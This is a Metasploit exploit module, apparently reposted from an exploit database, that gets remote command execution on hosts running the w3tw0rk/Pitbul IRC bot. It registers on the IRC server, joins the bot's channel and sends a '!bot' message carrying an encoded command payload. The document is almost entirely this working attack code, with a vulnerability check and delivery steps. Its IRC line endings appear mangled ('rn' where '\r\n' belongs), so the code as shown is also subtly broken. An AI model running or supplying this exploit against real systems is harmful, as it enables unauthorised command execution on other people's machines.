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# w3tw0rk / Pitbul IRC Bot Remote Code Execution Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'w3tw0rk / Pitbul IRC Bot Remote Code Execution',
'Description' => %q{
This module allows remote command execution on the w3tw0rk / Pitbul IRC Bot.
},
'Author' =>
[
'Jay Turla'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '120384' ],
[ 'EDB', '36652' ]
],
'Platform' => %w{ unix win },
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Targets' =>
[
[ 'w3tw0rk', { } ]
],
'Privileged' => false,
'DisclosureDate' => 'Jun 04 2015',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(6667),
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
], self.class)
end

def check
connect

res = register(sock)
if res =~ /463/ || res =~ /464/
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return Exploit::CheckCode::Unknown
end

res = join(sock)
if !res =~ /353/ && !res =~ /366/
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return Exploit::CheckCode::Unknown
end

quit(sock)
disconnect

if res =~ /auth/ && res =~ /logged in/
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while !read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
elog("#{e.class} #{e.message}n#{e.backtrace * "n"}")
end

data
end

def register(sock)
msg = ""

if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
msg << "PASS #{datastore['IRC_PASSWORD']}rn"
end

if datastore['NICK'].length > 9
nick = rand_text_alpha(9)
print_error("The nick is longer than 9 characters, using #{nick}")
else
nick = datastore['NICK']
end

msg << "NICK #{nick}rn"
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}rn"

send_msg(sock,msg)
end

def join(sock)
join_msg = "JOIN #{datastore['CHANNEL']}rn"
send_msg(sock, join_msg)
end

def w3tw0rk_command(sock)
encoded = payload.encoded
command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}rn"
send_msg(sock, command_msg)
end

def quit(sock)
quit_msg = "QUIT :bye byern"
sock.put(quit_msg)
end

def exploit
connect

print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
res = register(sock)
if res =~ /463/ || res =~ /464/
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
return
end

print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
res = join(sock)
if !res =~ /353/ && !res =~ /366/
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
return
end

print_status("#{rhost}:#{rport} - Exploiting the IRC bot...")
w3tw0rk_command(sock)

quit(sock)
disconnect
end

end



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# Iranian Exploit DataBase = http://IeDb.Ir [2015-10-11]

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